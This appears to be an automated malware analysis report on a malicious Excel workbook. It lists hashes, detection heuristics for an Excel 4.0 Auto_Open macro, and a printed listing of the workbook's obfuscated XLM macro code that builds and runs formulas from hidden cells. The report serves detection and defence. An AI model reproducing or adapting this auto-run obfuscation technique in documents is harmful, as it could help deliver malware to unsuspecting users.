Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52abde04d9ea00d8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:37:29 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: c06d7e5aafa0fa61b947d0fd2c77b12a SHA-1: 72ef860751795acc3767245e16f98bd396ba1ccd SHA-256: 52abde04d9ea00d866dd5735c6437735709f9dc2cbca85a5da4c34fe2ce5ff7e
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6471 bytes
SHA-256: 201516c47bc0f356ea8f0dae8aa752b047605b18ebc92407ec1b722e68423d14
Detection
ClamAV: No threats found
Obfuscation or payload: likely
18 of 36 identifiers look randomly generated (e.g. 'czDmujzCefBv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UEvDd
' 0018     26 LABEL : Cell Value, String Constant - ApYsqvqVDvk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I144 
' 0018     23 LABEL : Cell Value, String Constant - bbJZnybI len=0 
' 0018     27 LABEL : Cell Value, String Constant - czDmujzCefBv len=0 
' 0018     25 LABEL : Cell Value, String Constant - hBScCwMldq len=0 
' 0018     23 LABEL : Cell Value, String Constant - HcrzwqLw len=0 
' 0018     26 LABEL : Cell Value, String Constant - ijPvtbRgvSk len=0 
' 0018     24 LABEL : Cell Value, String Constant - IKaQKJLKk len=0 
' 0018     27 LABEL : Cell Value, String Constant - IxvNhDnQJEdK len=0 
' 0018     26 LABEL : Cell Value, String Constant - MkqBLyxRbgb len=0 
' 0018     20 LABEL : Cell Value, String Constant - mOuot len=0 
' 0018     20 LABEL : Cell Value, String Constant - Nonfy len=0 
' 0018     27 LABEL : Cell Value, String Constant - okNFkjlGrZHa len=0 
' 0018     26 LABEL : Cell Value, String Constant - oltPTWvRUbc len=0 
' 0018     22 LABEL : Cell Value, String Constant - OLxlKLy len=0 
' 0018     24 LABEL : Cell Value, String Constant - pXQfEqwVZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - QLTHHYRhdnZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - VZCjHH len=0 
' 0018     20 LABEL : Cell Value, String Constant - wSfoM len=0 
' 0018     20 LABEL : Cell Value, String Constant - YfzXh len=0 
' 0018     25 LABEL : Cell Value, String Constant - yXOYoksytz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UEvDd,I44,"SET.NAME("bbJZnybI",VALUE("0"))",""
'  UEvDd,I48,"SET.NAME("ApYsqvqVDvk",bbJZnybI)",""
'  UEvDd,I52,"SET.NAME("YfzXh",bbJZnybI)",""
'  UEvDd,I56,"SET.NAME("IKaQKJLKk",COUNTA(czDmujzCefBv))",""
'  UEvDd,I60,"SET.NAME("pXQfEqwVZ",COUNTA(hBScCwMldq))",""
'  UEvDd,I62,[],""
'  UEvDd,I66,"SET.NAME("MkqBLyxRbgb","")",""
'  UEvDd,I69,"ApYsqvqVDvk",""
'  UEvDd,I74,"SET.NAME("mOuot",HLOOKUP("*",czDmujzCefBv,ApYsqvqVDvk,FALSE))",""
'  UEvDd,I78,"yXOYoksytz",""
'  UEvDd,I82,"SET.NAME("QLTHHYRhdnZ",bbJZnybI)",""
'  UEvDd,I87,[],""
'  UEvDd,I91,"QLTHHYRhdnZ",""
'  UEvDd,I94,"Nonfy",""
'  UEvDd,I99,"ijPvtbRgvSk",""
'  UEvDd,I104,"wSfoM",""
'  UEvDd,I109,"SET.NAME("VZCjHH",VALUE(HLOOKUP("*",hBScCwMldq,wSfoM,FALSE)))",""
'  UEvDd,I113,"oltPTWvRUbc",""
'  UEvDd,I118,"MkqBLyxRbgb",""
'  UEvDd,I120,"YfzXh",""
'  UEvDd,I124,NEXT(),""
'  UEvDd,I128,"okNFkjlGrZHa",""
'  UEvDd,I132,"SET.NAME("f",INT(T(FORMULA(T(MkqBLyxRbgb)&"",""&T(okNFkjlGrZHa)))))",""
'  UEvDd,I135,"HcrzwqLw",""
'  UEvDd,I137,NEXT(),""
'  UEvDd,I139,RETURN(),""
'  UEvDd,I169,"SET.NAME("IxvNhDnQJEdK",I44)",""
'  UEvDd,I173,"czDmujzCefBv",""
'  UEvDd,I175,"SET.NAME("hBScCwMldq",R71C14)",""
'  UEvDd,I177,"SET.NAME("HcrzwqLw",185)",""
'  UEvDd,I182,"SET.NAME("OLxlKLy",9)",""
'  UEvDd,I184,IxvNhDnQJEdK(),""
'  UEvDd,I185,HALT(),""

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